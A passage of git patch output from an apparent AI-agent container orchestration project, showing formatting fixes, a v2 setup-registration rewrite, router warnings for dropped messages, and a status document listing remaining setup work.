Database.Database { + return openInboundDb(agentGroupId, sessionId); +} + /** Mark a container as running for a session. */ export function markContainerRunning(sessionId: string): void { updateSession(sessionId, { container_status: 'running', last_active: new Date().toISOString() }); From b76fd425c8ea565d9d1a7eeb8562130754300406 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:18:31 +0300 Subject: [PATCH 026/295] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runner.ts | 7 +------ src/container-runtime.test.ts | 16 ++++++++-------- src/delivery.ts | 14 +++++++------- src/host-core.test.ts | 4 +++- src/host-sweep.ts | 26 +++++++++++++++---------- src/mount-security.ts | 36 +++++++++++++++++++++++++++++------ src/session-manager.ts | 4 +--- 7 files changed, 66 insertions(+), 41 deletions(-) diff --git a/src/container-runner.ts b/src/container-runner.ts index c3dce4d..bc54632 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -15,12 +15,7 @@ import { getAgentGroup } from './db/agent-groups.js'; import { getMessagingGroup } from './db/messaging-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { - markContainerIdle, - markContainerRunning, - markContainerStopped, - sessionDir, -} from './session-manager.js'; +import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index 80eb46e..47d9744 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -100,10 +100,10 @@ describe('cleanupOrphans', () => { expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { stdio: 'pipe', }); - expect(log.info).toHaveBeenCalledWith( - 'Stopped orphaned containers', - { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, - ); + expect(log.info).toHaveBeenCalledWith('Stopped orphaned containers', { + count: 2, + names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'], + }); }); it('does nothing when no orphans exist', () => { @@ -140,9 +140,9 @@ describe('cleanupOrphans', () => { cleanupOrphans(); // should not throw expect(mockExecSync).toHaveBeenCalledTimes(3); - expect(log.info).toHaveBeenCalledWith( - 'Stopped orphaned containers', - { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, - ); + expect(log.info).toHaveBeenCalledWith('Stopped orphaned containers', { + count: 2, + names: ['nanoclaw-a-1', 'nanoclaw-b-2'], + }); }); }); diff --git a/src/delivery.ts b/src/delivery.ts index d74df75..35a41c2 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -131,9 +131,9 @@ async function deliverSessionMessages(session: Session): Promise { try { await deliverMessage(msg, session, inDb); // Track delivery in inbound.db (host-owned) — not outbound.db - inDb.prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))").run( - msg.id, - ); + inDb + .prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))") + .run(msg.id); resetContainerIdleTimer(session.id); } catch (err) { log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); @@ -249,9 +249,7 @@ async function handleSystemAction( const recurrence = (content.recurrence as string) || null; // Compute next even seq for host-owned inbound.db - const maxSeq = ( - inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } - ).m; + const maxSeq = (inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); inDb @@ -276,7 +274,9 @@ async function handleSystemAction( case 'cancel_task': { const taskId = content.taskId as string; inDb - .prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") + .prepare( + "UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')", + ) .run(taskId); log.info('Task cancelled', { taskId }); break; diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 9dc711e..1378589 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -104,7 +104,9 @@ describe('session manager', () => { const outPath = outboundDbPath('ag-1', 'sess-test'); expect(fs.existsSync(outPath)).toBe(true); const outDb = new Database(outPath); - const outTables = outDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + const outTables = outDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ + name: string; + }>; expect(outTables.map((t) => t.name)).toContain('messages_out'); expect(outTables.map((t) => t.name)).toContain('processing_ack'); outDb.close(); diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 5bd877e..22583a8 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -115,9 +115,7 @@ function syncProcessingAcks(inDb: Database.Database, outDb: Database.Database): if (completed.length === 0) return; // Batch-update messages_in status for completed/failed messages - const updateStmt = inDb.prepare( - "UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'", - ); + const updateStmt = inDb.prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'"); inDb.transaction(() => { for (const { message_id } of completed) { updateStmt.run(message_id); @@ -148,9 +146,9 @@ function detectStaleContainers( if (heartbeatAge < STALE_THRESHOLD_MS) return; // Container is alive // Heartbeat is stale — check for stuck processing entries - const processing = outDb - .prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'") - .all() as Array<{ message_id: string }>; + const processing = outDb.prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'").all() as Array<{ + message_id: string; + }>; if (processing.length === 0) return; @@ -200,9 +198,7 @@ async function handleRecurrence(inDb: Database.Database, session: Session): Prom const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; // Host uses even seq numbers - const maxSeq = ( - inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } - ).m; + const maxSeq = (inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); inDb @@ -210,7 +206,17 @@ async function handleRecurrence(inDb: Database.Database, session: Session): Prom `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, ) - .run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + .run( + newId, + nextSeq, + msg.kind, + nextRun, + msg.recurrence, + msg.platform_id, + msg.channel_type, + msg.thread_id, + msg.content, + ); // Remove recurrence from the completed message so it doesn't spawn again inDb.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); diff --git a/src/mount-security.ts b/src/mount-security.ts index cea550a..ba2b6f8 100644 --- a/src/mount-security.ts +++ b/src/mount-security.ts @@ -76,7 +76,10 @@ export function loadMountAllowlist(): MountAllowlist | null { if (!fs.existsSync(MOUNT_ALLOWLIST_PATH)) { // Do NOT cache this as an error — file may be created later without restart. // Only parse/structural errors are permanently cached. - log.warn('Mount allowlist not found - additional mounts will be BLOCKED. Create the file to enable additional mounts.', { path: MOUNT_ALLOWLIST_PATH }); + log.warn( + 'Mount allowlist not found - additional mounts will be BLOCKED. Create the file to enable additional mounts.', + { path: MOUNT_ALLOWLIST_PATH }, + ); return null; } @@ -101,12 +104,19 @@ export function loadMountAllowlist(): MountAllowlist | null { allowlist.blockedPatterns = mergedBlockedPatterns; cachedAllowlist = allowlist; - log.info('Mount allowlist loaded successfully', { path: MOUNT_ALLOWLIST_PATH, allowedRoots: allowlist.allowedRoots.length, blockedPatterns: allowlist.blockedPatterns.length }); + log.info('Mount allowlist loaded successfully', { + path: MOUNT_ALLOWLIST_PATH, + allowedRoots: allowlist.allowedRoots.length, + blockedPatterns: allowlist.blockedPatterns.length, + }); return cachedAllowlist; } catch (err) { allowlistLoadError = err instanceof Error ? err.message : String(err); - log.error('Failed to load mount allowlist - additional mounts will be BLOCKED', { path: MOUNT_ALLOWLIST_PATH, error: allowlistLoadError }); + log.error('Failed to load mount allowlist - additional mounts will be BLOCKED', { + path: MOUNT_ALLOWLIST_PATH, + error: allowlistLoadError, + }); return null; } } @@ -287,7 +297,10 @@ export function validateMount(mount: AdditionalMount, isMain: boolean): MountVal } else if (!allowedRoot.allowReadWrite) { // Root doesn't allow read-write effectiveReadonly = true; - log.info('Mount forced to read-only - root does not allow read-write', { mount: mount.hostPath, root: allowedRoot.path }); + log.info('Mount forced to read-only - root does not allow read-write', { + mount: mount.hostPath, + root: allowedRoot.path, + }); } else { // Read-write allowed effectiveReadonly = false; @@ -333,9 +346,20 @@ export function validateAdditionalMounts( readonly: result.effectiveReadonly!, }); - log.debug('Mount validated successfully', { group: groupName, hostPath: result.realHostPath, containerPath: result.resolvedContainerPath, readonly: result.effectiveReadonly, reason: result.reason }); + log.debug('Mount validated successfully', { + group: groupName, + hostPath: result.realHostPath, + containerPath: result.resolvedContainerPath, + readonly: result.effectiveReadonly, + reason: result.reason, + }); } else { - log.warn('Additional mount REJECTED', { group: groupName, requestedPath: mount.hostPath, containerPath: mount.containerPath, reason: result.reason }); + log.warn('Additional mount REJECTED', { + group: groupName, + requestedPath: mount.hostPath, + containerPath: mount.containerPath, + reason: result.reason, + }); } } diff --git a/src/session-manager.ts b/src/session-manager.ts index f24f620..20e4562 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -139,9 +139,7 @@ export function writeSessionMessage( try { // Host uses even seq numbers, container uses odd — prevents collisions // across the two-DB boundary without cross-DB coordination. - const maxSeq = ( - db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } - ).m; + const maxSeq = (db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); // next even db.prepare( From e7514edd350fd42b17fc9c89d33eef54aad284a3 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:23:23 +0300 Subject: [PATCH 027/295] =?UTF-8?q?fix:=20wire=20v2=20setup=20flow=20?= =?UTF-8?q?=E2=80=94=20barrel=20import,=20registration,=20verification?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Import channel barrel from src/index.ts so channel skills that uncomment lines in src/channels/index.ts actually execute - Rewrite setup/register.ts to create v2 entities (agent_groups, messaging_groups, messaging_group_agents) in data/v2.db instead of v1's store/messages.db - Fix setup/verify.ts to check v2 central DB for registered groups - Add prominent "MESSAGE DROPPED" warnings in router when no agent groups are wired, with actionable guidance Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 178 +++++++++++++++++++++++-------------- setup/verify.ts | 14 +-- src/db/index.ts | 1 + src/db/messaging-groups.ts | 9 ++ src/index.ts | 5 +- src/router.ts | 10 ++- 6 files changed, 143 insertions(+), 74 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index ee7854e..a15e469 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -1,45 +1,66 @@ /** - * Step: register — Write channel registration config, create group folders. + * Step: register — Create v2 entities (agent group, messaging group, wiring). * - * Accepts --channel to specify the messaging platform (whatsapp, telegram, slack, discord). - * Uses parameterized SQL queries to prevent injection. + * Writes to the v2 central DB (data/v2.db) — NOT the v1 store/messages.db. + * Creates: agent_group, messaging_group, messaging_group_agents. */ import fs from 'fs'; import path from 'path'; -import { STORE_DIR } from '../src/config.ts'; -import { initDatabase, setRegisteredGroup } from '../src/v1/db.ts'; -import { isValidGroupFolder } from '../src/group-folder.ts'; +import { DATA_DIR } from '../src/config.js'; +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js'; +import { + createMessagingGroup, + createMessagingGroupAgent, + getMessagingGroupByPlatform, + getMessagingGroupAgentByPair, +} from '../src/db/messaging-groups.js'; +import { isValidGroupFolder } from '../src/group-folder.js'; import { log } from '../src/log.js'; -import { emitStatus } from './status.ts'; +import { emitStatus } from './status.js'; interface RegisterArgs { - jid: string; + /** Platform-specific channel/group ID (Discord channel ID, Slack channel, etc.) */ + platformId: string; + /** Human-readable name for the messaging group */ name: string; + /** Trigger pattern (regex or keyword) */ trigger: string; + /** Agent group folder name */ folder: string; + /** Channel type (discord, slack, telegram, etc.) */ channel: string; + /** Whether messages require the trigger pattern to activate */ requiresTrigger: boolean; + /** Whether this is the admin/main agent group */ isMain: boolean; + /** Display name for the assistant */ assistantName: string; + /** Session mode: 'shared' (one session per channel) or 'per-thread' */ + sessionMode: string; } function parseArgs(args: string[]): RegisterArgs { const result: RegisterArgs = { - jid: '', + platformId: '', name: '', trigger: '', folder: '', - channel: 'whatsapp', // backward-compat: pre-refactor installs omit --channel + channel: 'discord', requiresTrigger: true, isMain: false, assistantName: 'Andy', + sessionMode: 'shared', }; for (let i = 0; i < args.length; i++) { switch (args[i]) { + // Accept both --jid (v1 compat) and --platform-id (v2) case '--jid': - result.jid = args[++i] || ''; + case '--platform-id': + result.platformId = args[++i] || ''; break; case '--name': result.name = args[++i] || ''; @@ -62,17 +83,24 @@ function parseArgs(args: string[]): RegisterArgs { case '--assistant-name': result.assistantName = args[++i] || 'Andy'; break; + case '--session-mode': + result.sessionMode = args[++i] || 'shared'; + break; } } return result; } +function generateId(prefix: string): string { + return `${prefix}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + export async function run(args: string[]): Promise { const projectRoot = process.cwd(); const parsed = parseArgs(args); - if (!parsed.jid || !parsed.name || !parsed.trigger || !parsed.folder) { + if (!parsed.platformId || !parsed.name || !parsed.folder) { emitStatus('REGISTER_CHANNEL', { STATUS: 'failed', ERROR: 'missing_required_args', @@ -92,61 +120,88 @@ export async function run(args: string[]): Promise { log.info('Registering channel', parsed); - // Ensure data and store directories exist (store/ may not exist on - // fresh installs that skip WhatsApp auth, which normally creates it) + // Init v2 central DB fs.mkdirSync(path.join(projectRoot, 'data'), { recursive: true }); - fs.mkdirSync(STORE_DIR, { recursive: true }); + const dbPath = path.join(DATA_DIR, 'v2.db'); + const db = initDb(dbPath); + runMigrations(db); - // Initialize database (creates schema + runs migrations) - initDatabase(); + // 1. Create or find agent group + let agentGroup = getAgentGroupByFolder(parsed.folder); + if (!agentGroup) { + const agId = generateId('ag'); + createAgentGroup({ + id: agId, + name: parsed.assistantName, + folder: parsed.folder, + is_admin: parsed.isMain ? 1 : 0, + agent_provider: null, + container_config: null, + created_at: new Date().toISOString(), + }); + agentGroup = getAgentGroupByFolder(parsed.folder)!; + log.info('Created agent group', { id: agId, folder: parsed.folder }); + } - setRegisteredGroup(parsed.jid, { - name: parsed.name, - folder: parsed.folder, - trigger: parsed.trigger, - added_at: new Date().toISOString(), - requiresTrigger: parsed.requiresTrigger, - isMain: parsed.isMain, - }); + // 2. Create or find messaging group + let messagingGroup = getMessagingGroupByPlatform(parsed.channel, parsed.platformId); + if (!messagingGroup) { + const mgId = generateId('mg'); + createMessagingGroup({ + id: mgId, + channel_type: parsed.channel, + platform_id: parsed.platformId, + name: parsed.name, + is_group: 1, + admin_user_id: null, + created_at: new Date().toISOString(), + }); + messagingGroup = getMessagingGroupByPlatform(parsed.channel, parsed.platformId)!; + log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId }); + } - log.info('Wrote registration to SQLite'); + // 3. Wire agent to messaging group + const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); + if (!existing) { + const mgaId = generateId('mga'); + const triggerRules = parsed.trigger + ? JSON.stringify({ + pattern: parsed.trigger, + requiresTrigger: parsed.requiresTrigger, + }) + : null; + createMessagingGroupAgent({ + id: mgaId, + messaging_group_id: messagingGroup.id, + agent_group_id: agentGroup.id, + trigger_rules: triggerRules, + response_scope: 'all', + session_mode: parsed.sessionMode, + priority: parsed.isMain ? 10 : 0, + created_at: new Date().toISOString(), + }); + log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); + } - // Create group folders - fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { - recursive: true, - }); + // 4. Create group folders + fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { recursive: true }); - // Create CLAUDE.md in the new group folder from template if it doesn't exist. - // The agent runs with CWD=/workspace/group and loads CLAUDE.md from there. - // Never overwrite an existing CLAUDE.md — users customize these extensively - // (persona, workspace structure, communication rules, family context, etc.) - // and a stock template replacement would destroy that work. - const groupClaudeMdPath = path.join( - projectRoot, - 'groups', - parsed.folder, - 'CLAUDE.md', - ); + // Create CLAUDE.md from template if it doesn't exist + const groupClaudeMdPath = path.join(projectRoot, 'groups', parsed.folder, 'CLAUDE.md'); if (!fs.existsSync(groupClaudeMdPath)) { const templatePath = parsed.isMain ? path.join(projectRoot, 'groups', 'main', 'CLAUDE.md') : path.join(projectRoot, 'groups', 'global', 'CLAUDE.md'); if (fs.existsSync(templatePath)) { fs.copyFileSync(templatePath, groupClaudeMdPath); - log.info( - 'Created CLAUDE.md from template', - { file: groupClaudeMdPath, template: templatePath }, - ); + log.info('Created CLAUDE.md from template', { file: groupClaudeMdPath, template: templatePath }); } } - // Update assistant name in CLAUDE.md files if different from default + // 5. Update assistant name in CLAUDE.md files if different from default let nameUpdated = false; if (parsed.assistantName !== 'Andy') { - log.info( - 'Updating assistant name', - { from: 'Andy', to: parsed.assistantName }, - ); + log.info('Updating assistant name', { from: 'Andy', to: parsed.assistantName }); const groupsDir = path.join(projectRoot, 'groups'); const mdFiles = fs @@ -155,16 +210,11 @@ export async function run(args: string[]): Promise { .filter((f) => fs.existsSync(f)); for (const mdFile of mdFiles) { - if (fs.existsSync(mdFile)) { - let content = fs.readFileSync(mdFile, 'utf-8'); - content = content.replace(/^# Andy$/m, `# ${parsed.assistantName}`); - content = content.replace( - /You are Andy/g, - `You are ${parsed.assistantName}`, - ); - fs.writeFileSync(mdFile, content); - log.info('Updated CLAUDE.md', { file: mdFile }); - } + let content = fs.readFileSync(mdFile, 'utf-8'); + content = content.replace(/^# Andy$/m, `# ${parsed.assistantName}`); + content = content.replace(/You are Andy/g, `You are ${parsed.assistantName}`); + fs.writeFileSync(mdFile, content); + log.info('Updated CLAUDE.md', { file: mdFile }); } // Update .env @@ -172,10 +222,7 @@ export async function run(args: string[]): Promise { if (fs.existsSync(envFile)) { let envContent = fs.readFileSync(envFile, 'utf-8'); if (envContent.includes('ASSISTANT_NAME=')) { - envContent = envContent.replace( - /^ASSISTANT_NAME=.*$/m, - `ASSISTANT_NAME="${parsed.assistantName}"`, - ); + envContent = envContent.replace(/^ASSISTANT_NAME=.*$/m, `ASSISTANT_NAME="${parsed.assistantName}"`); } else { envContent += `\nASSISTANT_NAME="${parsed.assistantName}"`; } @@ -188,13 +235,14 @@ export async function run(args: string[]): Promise { } emitStatus('REGISTER_CHANNEL', { - JID: parsed.jid, + PLATFORM_ID: parsed.platformId, NAME: parsed.name, FOLDER: parsed.folder, CHANNEL: parsed.channel, TRIGGER: parsed.trigger, REQUIRES_TRIGGER: parsed.requiresTrigger, ASSISTANT_NAME: parsed.assistantName, + SESSION_MODE: parsed.sessionMode, NAME_UPDATED: nameUpdated, STATUS: 'success', LOG: 'logs/setup.log', diff --git a/setup/verify.ts b/setup/verify.ts index 6b2077a..3d47174 100644 --- a/setup/verify.ts +++ b/setup/verify.ts @@ -11,7 +11,7 @@ import path from 'path'; import Database from 'better-sqlite3'; -import { STORE_DIR } from '../src/config.js'; +import { DATA_DIR } from '../src/config.js'; import { readEnvFile } from '../src/env.js'; import { log } from '../src/log.js'; import { @@ -139,19 +139,23 @@ export async function run(_args: string[]): Promise { const configuredChannels = Object.keys(channelAuth); const anyChannelConfigured = configuredChannels.length > 0; - // 5. Check registered groups (using better-sqlite3, not sqlite3 CLI) + // 5. Check registered groups in v2 central DB (agent_groups + messaging_group_agents) let registeredGroups = 0; - const dbPath = path.join(STORE_DIR, 'messages.db'); + const dbPath = path.join(DATA_DIR, 'v2.db'); if (fs.existsSync(dbPath)) { try { const db = new Database(dbPath, { readonly: true }); + // Count agent groups that have at least one messaging group wired const row = db - .prepare('SELECT COUNT(*) as count FROM registered_groups') + .prepare( + `SELECT COUNT(DISTINCT ag.id) as count FROM agent_groups ag + JOIN messaging_group_agents mga ON mga.agent_group_id = ag.id`, + ) .get() as { count: number }; registeredGroups = row.count; db.close(); } catch { - // Table might not exist + // Table might not exist (DB not migrated yet) } } diff --git a/src/db/index.ts b/src/db/index.ts index 33b3a94..457da2a 100644 --- a/src/db/index.ts +++ b/src/db/index.ts @@ -20,6 +20,7 @@ export { createMessagingGroupAgent, getMessagingGroupAgents, getMessagingGroupAgent, + getMessagingGroupAgentByPair, updateMessagingGroupAgent, deleteMessagingGroupAgent, } from './messaging-groups.js'; diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index b7994fc..6c792d8 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -71,6 +71,15 @@ export function getMessagingGroupAgents(messagingGroupId: string): MessagingGrou .all(messagingGroupId) as MessagingGroupAgent[]; } +export function getMessagingGroupAgentByPair( + messagingGroupId: string, + agentGroupId: string, +): MessagingGroupAgent | undefined { + return getDb() + .prepare('SELECT * FROM messaging_group_agents WHERE messaging_group_id = ? AND agent_group_id = ?') + .get(messagingGroupId, agentGroupId) as MessagingGroupAgent | undefined; +} + export function getMessagingGroupAgent(id: string): MessagingGroupAgent | undefined { return getDb().prepare('SELECT * FROM messaging_group_agents WHERE id = ?').get(id) as | MessagingGroupAgent diff --git a/src/index.ts b/src/index.ts index 03bc093..f24a4cb 100644 --- a/src/index.ts +++ b/src/index.ts @@ -19,8 +19,9 @@ import { writeSessionMessage } from './session-manager.js'; import { wakeContainer } from './container-runner.js'; import { log } from './log.js'; -// Channel imports — each triggers self-registration -import './channels/discord.js'; +// Channel barrel — each enabled channel self-registers on import. +// Channel skills uncomment lines in channels/index.ts to enable them. +import './channels/index.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; diff --git a/src/router.ts b/src/router.ts index 2bcce73..e565d9f 100644 --- a/src/router.ts +++ b/src/router.ts @@ -58,8 +58,11 @@ export async function routeInbound(event: InboundEvent): Promise { // 2. Resolve agent group via messaging_group_agents const agents = getMessagingGroupAgents(mg.id); if (agents.length === 0) { - log.warn('No agent groups configured for messaging group', { + // This is a common fresh-install issue: channels work but no agent group + // is wired to handle messages. Run setup/register to create the wiring. + log.warn('MESSAGE DROPPED — no agent groups wired to this channel. Run setup register step to configure.', { messagingGroupId: mg.id, + channelType: event.channelType, platformId: event.platformId, }); return; @@ -68,7 +71,10 @@ export async function routeInbound(event: InboundEvent): Promise { // Pick the best matching agent (highest priority, trigger matching in future) const match = pickAgent(agents, event); if (!match) { - log.debug('No agent matched for message', { messagingGroupId: mg.id }); + log.warn('MESSAGE DROPPED — no agent matched trigger rules', { + messagingGroupId: mg.id, + channelType: event.channelType, + }); return; } From 1dc5750ca3743e4169406fad0c3a2214a3461e66 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:24:06 +0300 Subject: [PATCH 028/295] fix: uncomment Discord import in channel barrel Discord was directly imported in src/index.ts before the barrel wiring. Moving to the barrel without uncommenting it broke Discord. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/index.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/channels/index.ts b/src/channels/index.ts index 4b3b125..f01c35a 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -2,7 +2,7 @@ // Each import triggers the channel module's registerChannelAdapter() call. // discord -// import './discord.js'; +import './discord.js'; // slack // import './slack.js'; From ed76d51e0b17474bad4a4458e1443d1562abcc80 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:28:46 +0300 Subject: [PATCH 029/295] docs: add v2 setup wiring status and remaining work Detailed status document for next session: what's done (two-DB split, OneCLI, barrel, register.ts), what's not (channel skills don't call register, no group creation step in setup, v1 add-discord incompatible). Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 6 +- docs/v2-setup-wiring.md | 143 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 147 insertions(+), 2 deletions(-) create mode 100644 docs/v2-setup-wiring.md diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 80f91d9..6487658 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -7,8 +7,9 @@ Status: [x] done, [~] partial, [ ] not started ## Core Architecture - [x] Session DB replaces IPC (messages_in / messages_out as sole IO) +- [x] Two-DB split: inbound.db (host-owned) + outbound.db (container-owned) — zero cross-process write contention - [x] Central DB (agent groups, messaging groups, sessions, routing) -- [x] Host sweep (stale detection, retry with backoff, recurrence scheduling) +- [x] Host sweep (stale detection via heartbeat file, retry with backoff, recurrence scheduling) - [x] Active delivery polling (1s for running sessions) - [x] Sweep delivery polling (60s across all sessions) - [x] Container runner with session DB mounting @@ -53,7 +54,8 @@ Status: [x] done, [~] partial, [ ] not started - [~] Webex via Chat SDK (adapter + skill written, not tested) - [~] iMessage via Chat SDK (adapter + skill written, not tested) - [x] Backward compatibility with native channels (old adapters still work) -- [ ] Setup flow wired to v2 channels +- [x] Channel barrel wired (src/index.ts imports barrel, skills uncomment) +- [~] Setup flow wired to v2 channels (register.ts + verify.ts updated, but channel skills don't call register yet — see docs/v2-setup-wiring.md) - [ ] Setup communicates each group is a different agent, distinct names - [ ] Setup vs production channel separation - [ ] Generate visual diagram of customized instance at end of setup diff --git a/docs/v2-setup-wiring.md b/docs/v2-setup-wiring.md new file mode 100644 index 0000000..8b67d30 --- /dev/null +++ b/docs/v2-setup-wiring.md @@ -0,0 +1,143 @@ +# v2 Setup Wiring — Status & Remaining Work + +Last updated: 2026-04-09, branch `v2`, commit `1dc5750` + +## What's Done + +### Two-DB Split (session DB write isolation) +- Session DB split into `inbound.db` (host-owned) and `outbound.db` (container-owned) +- Each file has exactly one writer — eliminates SQLite write contention across host-container mount +- Host uses even seq numbers, container uses odd (collision-free) +- Container heartbeat via file touch (`/workspace/.heartbeat`) instead of DB UPDATE +- Scheduling MCP tools emit system actions via messages_out; host applies them to inbound.db in `delivery.ts:handleSystemAction()` +- Host sweep reads `processing_ack` table + heartbeat file mtime for stale detection +- Container clears stale `processing_ack` entries on startup (crash recovery) +- Files: `src/db/schema.ts` (INBOUND_SCHEMA + OUTBOUND_SCHEMA), `src/session-manager.ts`, `src/delivery.ts`, `src/host-sweep.ts`, `container/agent-runner/src/db/connection.ts`, `messages-in.ts`, `messages-out.ts`, `poll-loop.ts`, `mcp-tools/scheduling.ts`, `mcp-tools/interactive.ts` +- Container image rebuilt with tsconfig excluding v1 (`container/agent-runner/tsconfig.json`) +- E2E verified: host → Docker container → Claude responds → "E2E works!" ✓ + +### OneCLI Integration +- `ensureAgent()` call added before `applyContainerConfig()` in `src/container-runner.ts` +- Without `ensureAgent`, OneCLI rejects unknown agent identifiers and returns false, leaving container with no credentials +- E2E verified with OneCLI credential injection ✓ + +### Channel Barrel +- `src/index.ts` imports `./channels/index.js` (the barrel) +- Channel skills uncomment lines in the barrel to enable channels +- Discord is uncommented by default (it was previously a direct import in index.ts) + +### Setup Registration (partially) +- `setup/register.ts` rewritten to create v2 entities (`agent_groups`, `messaging_groups`, `messaging_group_agents`) in `data/v2.db` +- Accepts `--platform-id` (v2) and `--jid` (v1 compat) flags +- Added `getMessagingGroupAgentByPair()` to prevent duplicate wiring +- `setup/verify.ts` updated to check v2 central DB (counts agent groups with wiring) + +### Router Logging +- `src/router.ts` logs `MESSAGE DROPPED` at WARN level when no agents wired, with actionable guidance + +--- + +## What's NOT Done — Remaining Work for Fresh Install + +### 1. v2 Channel Skills Don't Register Groups + +**Problem:** The v2 channel skills (`.claude/skills/add-telegram-v2/SKILL.md`, `add-slack-v2`, `add-linear-v2`, etc.) only do: +- Install npm package +- Uncomment barrel import +- Collect credentials → write to `.env` +- Build and verify + +They do NOT create agent groups, messaging groups, or wiring in the v2 central DB. Without these DB entities, the router auto-creates a `messaging_group` on first message but finds no `messaging_group_agents` → message is silently dropped (now logged as WARN). + +**Fix needed:** Each v2 channel skill needs a registration phase that calls: +```bash +npx tsx setup/index.ts --step register -- \ + --platform-id "" \ + --name "" \ + --folder "" \ + --trigger "@BotName" \ + --channel \ + --is-main # (if this is the primary group) +``` + +Or alternatively, add a dedicated "register groups" step to `setup/SKILL.md` between step 5 (channels) and step 6 (mounts). This step would: +1. Ask the user how many agent groups they want +2. For each group: name, folder, which channels it handles, trigger pattern, session mode +3. Call `setup/register.ts` for each + +### 2. v1 add-discord Skill is Incompatible + +**Problem:** Setup SKILL.md line 263 references `/add-discord` (v1 skill). This skill: +- Tries to merge a branch (`feat/discord`) +- Uses `--jid "dc:"` format +- References `store/messages.db` for verification +- Creates a v1 DiscordChannel class (we now use Chat SDK) + +**Fix needed:** Either: +- Create a `/add-discord-v2` skill matching the pattern of other v2 skills +- Or update the existing `/add-discord` skill for v2 +- Update `setup/SKILL.md` line 263 to reference the correct skill + +### 3. Setup SKILL.md Missing Group Registration Step + +**Problem:** The setup flow (steps 0-9) has no step for creating agent groups. Channels get configured (step 5) but 